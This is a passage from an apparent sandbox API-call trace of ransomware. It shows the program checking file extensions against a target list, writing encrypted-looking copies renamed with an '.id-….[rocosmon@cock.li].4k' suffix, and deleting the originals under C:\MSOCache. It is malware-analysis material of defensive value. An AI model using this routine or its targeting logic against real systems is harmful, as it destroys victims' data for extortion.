	[0092.390] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73
	[0092.390] lstrlenW (lpString=".jpg") returned 4
	[0092.390] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1
	[0092.391] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0092.391] lstrlenW (lpString="AccessMUI.xml") returned 13
	[0092.391] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0092.508] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=1349) returned 1
	[0092.508] CloseHandle (hObject=0x160) returned 1
	[0092.508] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 0x2020
	[0092.509] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0092.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0092.509] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0092.509] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0092.509] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0
	[0092.510] GetLastError () returned 0x0
	[0092.510] ReadFile (in: hFile=0x160, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x545, lpOverlapped=0x0) returned 1
	[0092.596] WriteFile (in: hFile=0x1b0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x550, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x550, lpOverlapped=0x0) returned 1
	[0092.597] ReadFile (in: hFile=0x160, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0092.597] WriteFile (in: hFile=0x1b0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xee, lpOverlapped=0x0) returned 1
	[0092.597] SetEndOfFile (hFile=0x1b0) returned 1
	[0092.597] CloseHandle (hObject=0x1b0) returned 1
	[0092.599] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0092.599] SetEndOfFile (hFile=0x160) returned 1
	[0092.600] CloseHandle (hObject=0x160) returned 1
	[0092.600] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0092.600] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\accessmui.xml")) returned 1
	[0092.600] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0092.600] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0092.600] lstrlenW (lpString=".doc") returned 4
	[0092.601] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0092.601] lstrlenW (lpString=".docx") returned 5
	[0092.601] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0092.601] lstrlenW (lpString=".pdf") returned 4
	[0092.601] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0092.601] lstrlenW (lpString=".xls") returned 4
	[0092.601] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0092.601] lstrlenW (lpString=".xlsx") returned 5
	[0092.601] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0092.601] lstrlenW (lpString=".ppt") returned 4
	[0092.601] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0092.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0092.601] lstrlenW (lpString=".zip") returned 4
	[0092.601] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0092.601] lstrlenW (lpString=".rar") returned 4
	[0092.601] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0092.601] lstrlenW (lpString=".bz2") returned 4
	[0092.601] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0092.601] lstrlenW (lpString=".7z") returned 3
	[0092.601] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0092.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0092.601] lstrlenW (lpString=".dbf") returned 4
	[0092.601] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0092.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0092.601] lstrlenW (lpString=".1cd") returned 4
	[0092.601] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0092.601] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0092.601] lstrlenW (lpString=".jpg") returned 4
	[0092.601] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0092.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0092.602] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0092.602] lstrlenW (lpString=".doc") returned 4
	[0092.602] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0092.602] lstrlenW (lpString=".docx") returned 5
	[0092.603] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1
	[0092.603] lstrlenW (lpString=".pdf") returned 4
	[0092.603] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0092.603] lstrlenW (lpString=".xls") returned 4
	[0092.603] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0092.603] lstrlenW (lpString=".xlsx") returned 5
	[0092.603] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1
	[0092.603] lstrlenW (lpString=".ppt") returned 4
	[0092.603] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0092.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0092.603] lstrlenW (lpString=".zip") returned 4
	[0092.603] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0092.603] lstrlenW (lpString=".rar") returned 4
	[0092.603] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0092.603] lstrlenW (lpString=".bz2") returned 4
	[0092.603] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0092.603] lstrlenW (lpString=".7z") returned 3
	[0092.603] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0092.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0092.603] lstrlenW (lpString=".dbf") returned 4
	[0092.603] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0092.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0092.603] lstrlenW (lpString=".1cd") returned 4
	[0092.603] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0092.603] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\AccessMUI.xml") returned 89
	[0092.603] lstrlenW (lpString=".jpg") returned 4
	[0092.604] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0092.604] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0092.604] lstrlenW (lpString="branding.xml") returned 12
	[0092.604] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0092.604] GetFileSizeEx (in: hFile=0x160, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=596341) returned 1
	[0092.604] CloseHandle (hObject=0x160) returned 1
	[0092.604] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 0x2020
	[0092.604] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0092.604] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160
	[0092.605] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0092.605] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0092.605] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0
	[0092.605] GetLastError () returned 0x0
	[0092.605] ReadFile (in: hFile=0x160, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x91975, lpOverlapped=0x0) returned 1
	[0092.637] WriteFile (in: hFile=0x1b0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x91980, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x91980, lpOverlapped=0x0) returned 1
	[0092.648] ReadFile (in: hFile=0x160, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0092.648] WriteFile (in: hFile=0x1b0, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0093.215] SetEndOfFile (hFile=0x1b0) returned 1
	[0093.216] CloseHandle (hObject=0x1b0) returned 1
	[0093.220] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.220] SetEndOfFile (hFile=0x160) returned 1
	[0093.225] CloseHandle (hObject=0x160) returned 1
	[0093.225] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0093.225] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\access.en-us\\branding.xml")) returned 1
	[0093.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0093.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0093.226] lstrlenW (lpString=".doc") returned 4
	[0093.226] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.226] lstrlenW (lpString=".docx") returned 5
	[0093.226] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0093.226] lstrlenW (lpString=".pdf") returned 4
	[0093.226] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.226] lstrlenW (lpString=".xls") returned 4
	[0093.226] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.226] lstrlenW (lpString=".xlsx") returned 5
	[0093.226] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0093.226] lstrlenW (lpString=".ppt") returned 4
	[0093.226] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0093.226] lstrlenW (lpString=".zip") returned 4
	[0093.226] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.226] lstrlenW (lpString=".rar") returned 4
	[0093.226] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.226] lstrlenW (lpString=".bz2") returned 4
	[0093.226] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.226] lstrlenW (lpString=".7z") returned 3
	[0093.226] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.226] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0093.226] lstrlenW (lpString=".dbf") returned 4
	[0093.226] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0093.227] lstrlenW (lpString=".1cd") returned 4
	[0093.227] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0093.227] lstrlenW (lpString=".jpg") returned 4
	[0093.227] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0093.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0093.227] lstrlenW (lpString=".doc") returned 4
	[0093.227] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.227] lstrlenW (lpString=".docx") returned 5
	[0093.227] lstrcmpiW (lpString1=".docx", lpString2="g.xml") returned -1
	[0093.227] lstrlenW (lpString=".pdf") returned 4
	[0093.227] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.227] lstrlenW (lpString=".xls") returned 4
	[0093.227] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.227] lstrlenW (lpString=".xlsx") returned 5
	[0093.227] lstrcmpiW (lpString1=".xlsx", lpString2="g.xml") returned -1
	[0093.227] lstrlenW (lpString=".ppt") returned 4
	[0093.227] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0093.227] lstrlenW (lpString=".zip") returned 4
	[0093.227] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.227] lstrlenW (lpString=".rar") returned 4
	[0093.227] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.227] lstrlenW (lpString=".bz2") returned 4
	[0093.227] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.227] lstrlenW (lpString=".7z") returned 3
	[0093.227] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.227] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0093.227] lstrlenW (lpString=".dbf") returned 4
	[0093.227] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0093.228] lstrlenW (lpString=".1cd") returned 4
	[0093.228] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.228] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\Access.en-us\\branding.xml") returned 88
	[0093.228] lstrlenW (lpString=".jpg") returned 4
	[0093.228] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.228] lstrcmpiW (lpString1=".xml", lpString2=".4k") returned 1
	[0093.228] lstrlenW (lpString="VisiorWW.xml") returned 12
	[0093.228] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0
	[0093.438] GetFileSizeEx (in: hFile=0x1b0, lpFileSize=0x2c4ff1c | out: lpFileSize=0x2c4ff1c*=8723) returned 1
	[0093.438] CloseHandle (hObject=0x1b0) returned 1
	[0093.438] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 0x2020
	[0093.439] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[rocosmon@cock.li].4k")) returned 0xffffffff
	[0093.439] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b0
	[0093.439] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.439] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.439] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[rocosmon@cock.li].4k" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml.id-9c354b42.[rocosmon@cock.li].4k"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x180
	[0093.440] GetLastError () returned 0x0
	[0093.440] ReadFile (in: hFile=0x1b0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x2213, lpOverlapped=0x0) returned 1
	[0093.640] WriteFile (in: hFile=0x180, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0x2220, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0x2220, lpOverlapped=0x0) returned 1
	[0093.641] ReadFile (in: hFile=0x1b0, lpBuffer=0x3370020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c4fed4, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesRead=0x2c4fed4*=0x0, lpOverlapped=0x0) returned 1
	[0093.641] WriteFile (in: hFile=0x180, lpBuffer=0x3370020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c4fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3370020*, lpNumberOfBytesWritten=0x2c4fc9c*=0xec, lpOverlapped=0x0) returned 1
	[0093.641] SetEndOfFile (hFile=0x180) returned 1
	[0093.641] CloseHandle (hObject=0x180) returned 1
	[0093.644] SetFilePointerEx (in: hFile=0x1b0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c4fec8 | out: lpNewFilePointer=0x0) returned 1
	[0093.644] SetEndOfFile (hFile=0x1b0) returned 1
	[0093.645] CloseHandle (hObject=0x1b0) returned 1
	[0093.645] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml.id-9C354B42.[rocosmon@cock.li].4k", dwFileAttributes=0x2020) returned 1
	[0093.645] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml" (normalized: "c:\\msocache\\all users\\{91140000-0057-0000-1000-0000000ff1ce}-c\\visiorww.xml")) returned 1
	[0093.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0093.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0093.646] lstrlenW (lpString=".doc") returned 4
	[0093.646] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.646] lstrlenW (lpString=".docx") returned 5
	[0093.646] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0093.646] lstrlenW (lpString=".pdf") returned 4
	[0093.646] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.646] lstrlenW (lpString=".xls") returned 4
	[0093.646] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
	[0093.646] lstrlenW (lpString=".xlsx") returned 5
	[0093.646] lstrcmpiW (lpString1=".xlsx", lpString2="W.xml") returned -1
	[0093.646] lstrlenW (lpString=".ppt") returned 4
	[0093.646] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1
	[0093.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0093.646] lstrlenW (lpString=".zip") returned 4
	[0093.646] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1
	[0093.646] lstrlenW (lpString=".rar") returned 4
	[0093.646] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1
	[0093.646] lstrlenW (lpString=".bz2") returned 4
	[0093.646] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1
	[0093.646] lstrlenW (lpString=".7z") returned 3
	[0093.646] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1
	[0093.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0093.646] lstrlenW (lpString=".dbf") returned 4
	[0093.646] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1
	[0093.646] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0093.646] lstrlenW (lpString=".1cd") returned 4
	[0093.647] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1
	[0093.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0093.647] lstrlenW (lpString=".jpg") returned 4
	[0093.647] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1
	[0093.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0093.647] lstrlenW (lpString="C:\\MSOCache\\All Users\\{91140000-0057-0000-1000-0000000FF1CE}-C\\VisiorWW.xml") returned 75
	[0093.647] lstrlenW (lpString=".doc") returned 4
	[0093.647] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1
	[0093.647] lstrlenW (lpString=".docx") returned 5
	[0093.647] lstrcmpiW (lpString1=".docx", lpString2="W.xml") returned -1
	[0093.647] lstrlenW (lpString=".pdf") returned 4
	[0093.647] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1
	[0093.648] lstrlenW (lpString=".xls") returned 4
	[0093.648] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1
